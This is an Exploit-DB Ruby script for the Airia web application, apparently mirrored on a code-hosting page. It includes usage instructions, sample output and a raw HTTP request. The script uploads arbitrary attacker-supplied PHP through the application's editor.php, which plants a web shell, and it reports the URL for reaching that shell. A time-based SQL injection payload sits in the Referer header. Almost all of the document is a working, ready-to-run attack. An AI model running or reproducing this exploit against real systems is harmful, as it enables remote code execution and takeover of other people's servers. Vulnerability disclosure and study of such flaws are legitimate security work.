PageRenderTime 45ms CodeModel.GetById 19ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/39982.rb

https://bitbucket.org/DinoRex99/exploit-database
Ruby | 69 lines | 27 code | 7 blank | 35 comment | 1 complexity | 833f71edc8d6cde8dd44650c879e64e4 MD5 | raw file
Possible License(s): GPL-2.0
  1. # Exploit Title: Airia - Webshell Upload Vulnerability
  2. # Date: 2016-06-20
  3. # Exploit Author: HaHwul
  4. # Exploit Author Blog: www.hahwul.com
  5. # Vendor Homepage: http://ytyng.com
  6. # Software Link: https://github.com/ytyng/airia/archive/master.zip
  7. # Version: Latest commit
  8. # Tested on: Debian [wheezy]
  9. require "net/http"
  10. require "uri"
  11. if ARGV.length !=2
  12. puts "Airia Webshell Upload Exploit(Vulnerability)"
  13. puts "Usage: #>ruby airia_ws_exploit.rb [targetURL] [phpCode]"
  14. puts " targetURL(ex): http://127.0.0.1/vul_test/airia"
  15. puts " phpCode(ex): echo 'zzzzz'"
  16. puts " Example : ~~.rb http://127.0.0.1/vul_test/airia 'echo zzzz'"
  17. puts " exploit & code by hahwul[www.hahwul.com]"
  18. else
  19. target_url = ARGV[0] # http://127.0.0.1/jmx2-Email-Tester/
  20. shell = ARGV[1] # PHP Code
  21. exp_url = target_url + "/editor.php"
  22. uri = URI.parse(exp_url)
  23. http = Net::HTTP.new(uri.host, uri.port)
  24. request = Net::HTTP::Post.new(uri.request_uri)
  25. request["Accept"] = "*/*"
  26. request["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
  27. request["Connection"] = "close"
  28. request["Referer"] = "http://127.0.0.1/vul_test/airia/editor.php?file=1&group=%281%20AND%20%28SELECT%20SLEEP%2830%29%29%29%20--%20"
  29. request["Accept-Language"] = "en"
  30. request["Content-Type"] = "application/x-www-form-urlencoded"
  31. request.set_form_data({"mode"=>"save",""=>"","file"=>"shell.php","scrollvalue"=>"","contents"=>"<?php echo 'Airia Webshell Exploit';#{shell};?>","group"=>"vvv_html"})
  32. response = http.request(request)
  33. puts "[Result] Status code: "+response.code
  34. puts "[Result] Open Browser: "+target_url+"/data/vvv_html/shell.php"
  35. end
  36. =begin
  37. ### Run Step.
  38. #> ruby 3.rb http://127.0.0.1/vul_test/airia "echo 123;"
  39. [Result] Status code: 302
  40. [Result] Open Browser: http://127.0.0.1/vul_test/airia/data/vvv_html/shell.php
  41. output: Airia Webshell Exploit123
  42. ### HTTP Request / Response
  43. [Request]
  44. POST /vul_test/airia/editor.php HTTP/1.1
  45. Host: 127.0.0.1
  46. Accept: */*
  47. Accept-Language: en
  48. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  49. Connection: close
  50. Referer: http://127.0.0.1/vul_test/airia/editor.php?file=1&group=%281%20AND%20%28SELECT%20SLEEP%2830%29%29%29%20--%20
  51. Content-Type: application/x-www-form-urlencoded
  52. Content-Length: 65
  53. Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; DBSR_session=01ltbc0gf3i35kkcf5f6o6hir1; __utma=96992031.1679083892.1466384142.1466384142.1466384142.1; __utmb=96992031.2.10.1466384142; __utmc=96992031; __utmz=96992031.1466384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
  54. mode=save&file=1.php&scrollvalue=&contents=<?php echo "Attack OK."?>&group=vvv_html
  55. [Response] Uloaded file
  56. http://127.0.0.1/vul_test/airia/data/vvv_html/1.html
  57. =end